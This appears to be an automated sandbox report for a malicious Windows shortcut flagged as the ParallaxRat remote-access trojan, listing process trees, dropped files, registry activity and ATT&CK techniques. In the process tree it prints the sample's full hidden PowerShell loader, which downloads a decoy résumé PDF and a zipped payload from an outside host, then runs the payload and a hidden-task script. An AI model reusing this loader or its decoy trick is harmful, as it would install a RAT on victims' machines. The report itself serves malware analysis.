parallax | ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
03/12/2025, 22:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk
Size 2KB
Sample251203-2pel4avphx
SHA256 ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e
MD5 f5b9ad341ccfe06352b8818b90b2413e
SHA1 1b3a15955779e11424698f67bd305e15f6750fca
SHA512 8196a9906239281dbbb136f85905e19b17acce57ac8bedca1aa7a77d94439af0f86bd29a90e03b9be7453ae41ebbaa3b7d5522356057194e499792cc381c69ab
MD5 SHA1 SHA512

Score

10^/10

discovery execution parallax rat

Malware Config

Signatures

Parallax family
parallax
ParallaxRat
ParallaxRat is a multipurpose RAT written in MASM.
rat parallax

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1256	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
404	keytool.exe

Loads dropped DLL 3 IoCs

pid	Process
404	keytool.exe
404	keytool.exe
404	keytool.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\eu\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4600_1162391757\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_98_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_1490238709\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_1490238709\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_925428224\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_1490238709\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_1490238709\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_756890465\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4600_165543442\_locales\fr\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134092755156166725"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-503569783-3534512106-765729973-1000\{EF8B1765-F009-4C13-87B0-56A9E464DB14}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe
228	msedge.exe
228	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4600	msedge.exe
4600	msedge.exe
4600	msedge.exe
4600	msedge.exe
4600	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4600	msedge.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 5712 wrote to memory of 1256	5712	cmd.exe	79
PID 1256 wrote to memory of 4600	1256	powershell.exe	80
PID 4600 wrote to memory of 2108	4600	msedge.exe	81
PID 4600 wrote to memory of 4940	4600	msedge.exe	82
PID 4600 wrote to memory of 4952	4600	msedge.exe	83
PID 4600 wrote to memory of 4952	4600	msedge.exe	83
PID 4600 wrote to memory of 4952	4600	msedge.exe	83
PID 4600 wrote to memory of 4816	4600	msedge.exe	85
PID 4600 wrote to memory of 4816	4600	msedge.exe	85
PID 4600 wrote to memory of 5176	4600	msedge.exe	86
PID 4600 wrote to memory of 5176	4600	msedge.exe	86
PID 4600 wrote to memory of 5176	4600	msedge.exe	86
PID 4600 wrote to memory of 1940	4600	msedge.exe	87
PID 4600 wrote to memory of 1940	4600	msedge.exe	87
PID 4600 wrote to memory of 1940	4600	msedge.exe	87
PID 4600 wrote to memory of 2304	4600	msedge.exe	89
PID 4600 wrote to memory of 2304	4600	msedge.exe	89
PID 4600 wrote to memory of 2304	4600	msedge.exe	89
PID 4600 wrote to memory of 5132	4600	msedge.exe	90
PID 4600 wrote to memory of 5132	4600	msedge.exe	90
PID 4600 wrote to memory of 5132	4600	msedge.exe	90
PID 4600 wrote to memory of 5168	4600	msedge.exe	91
PID 4600 wrote to memory of 5168	4600	msedge.exe	91
PID 4600 wrote to memory of 3828	4600	msedge.exe	92
PID 4600 wrote to memory of 3828	4600	msedge.exe	92
PID 1256 wrote to memory of 404	1256	powershell.exe	93
PID 4600 wrote to memory of 4712	4600	msedge.exe	94
PID 4600 wrote to memory of 4712	4600	msedge.exe	94
PID 4600 wrote to memory of 1528	4600	msedge.exe	95
PID 4600 wrote to memory of 5936	4600	msedge.exe	97
PID 1528 wrote to memory of 5128	1528	msedge.exe	98
PID 4600 wrote to memory of 1884	4600	msedge.exe	101
PID 4600 wrote to memory of 1884	4600	msedge.exe	101
PID 4600 wrote to memory of 1952	4600	msedge.exe	102
PID 4600 wrote to memory of 1952	4600	msedge.exe	102
PID 4600 wrote to memory of 4428	4600	msedge.exe	103
PID 4600 wrote to memory of 4888	4600	msedge.exe	104
PID 4600 wrote to memory of 3832	4600	msedge.exe	105
PID 4600 wrote to memory of 4448	4600	msedge.exe	106
PID 4600 wrote to memory of 4448	4600	msedge.exe	106
PID 4600 wrote to memory of 5784	4600	msedge.exe	109
PID 4600 wrote to memory of 5784	4600	msedge.exe	109
PID 4600 wrote to memory of 680	4600	msedge.exe	110
PID 4600 wrote to memory of 680	4600	msedge.exe	110
PID 4600 wrote to memory of 228	4600	msedge.exe	111
PID 4600 wrote to memory of 340	4600	msedge.exe	112
PID 4600 wrote to memory of 340	4600	msedge.exe	112

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5712
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h $localPath = (Get-Location).Path; Remove-Item -Path "$localPath\我的简历.lnk" -Force; $h='ht'; $t='tps'; curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\\我的简历.pdf"; Start-Process -FilePath "$localPath\\我的简历.pdf"; if (-not (Test-Path "$env:APPDATA\Security")){ New-Item -Type Directory "$env:APPDATA\Security" -Force|Out-Null }; curl "${h}${t}://pan.tenire.com/down.php/83b341a1caab40ad1e7adb9fb4a8b911.zip" -o "$env:APPDATA\\Security\pkg.zip"; Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force; Remove-Item "$env:APPDATA\Security\pkg.zip" -Force; & "$env:APPDATA\Security\keytool.exe"; & "$env:APPDATA\Security\CreateHiddenTask.vbs";
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\我的简历.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x30c,0x7ff81933f208,0x7ff81933f214,0x7ff81933f220
      4⤵
      PID:2108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1888,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:11
      4⤵
      PID:4940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2236,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:2
      4⤵
      PID:4952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2536,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:13
      4⤵
      PID:4816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3400,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
      4⤵
      PID:5176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3408,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
      4⤵
      PID:1940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4652,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:9
      4⤵
      PID:2304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4940,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:15
      4⤵
      PID:5132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5128,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
      4⤵
      PID:5168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --always-read-main-dll --field-trial-handle=5136,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:14
      4⤵
      PID:3828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5568,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:14
      4⤵
      PID:4712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5812,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1528
    - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:5128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5800,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
      4⤵
      PID:3972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5800,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
      4⤵
      PID:5936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6336,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:14
      4⤵
      PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6472,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
      4⤵
      PID:1952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=732,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
      4⤵
      PID:4428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5804,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:14
      4⤵
      PID:4888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=6088,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:14
      4⤵
      PID:3832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5308,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:14
      4⤵
      PID:4448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6520,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
      4⤵
      PID:5784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6604,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
      4⤵
      PID:680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=5456,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=6456,i,14042045755310921601,10025476108895771165,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:14
      4⤵
      PID:340
- - C:\Users\Admin\AppData\Roaming\Security\keytool.exe
    "C:\Users\Admin\AppData\Roaming\Security\keytool.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:404

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 57ca21529d6a64ba48b0a353037c52c09a0fbe63831896d75c49e541a26b0b7a
MD5 db1454c32599b4a9986f337d7c99e2f1
SHA1 0be95eea75f4748a1fa0d2198a869cb18cca8cc7
SHA512 e6172970ad5635f0b42f3f99d7a02e87952efa17333c974fff88a32d077138e1d98e35e508cf2e4077d234c543f57a254c8ef72741858ffc31c1574e243b56d6
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 bfda858c3bb8e308af996a906f3ff74c091b606052c01b3940988f4f2cd1d37f
MD5 bd07f35cd0900a29c9278dff6cfc0e7f
SHA1 e2129a3ad957af549d72ca4dc485c8a054cd6655
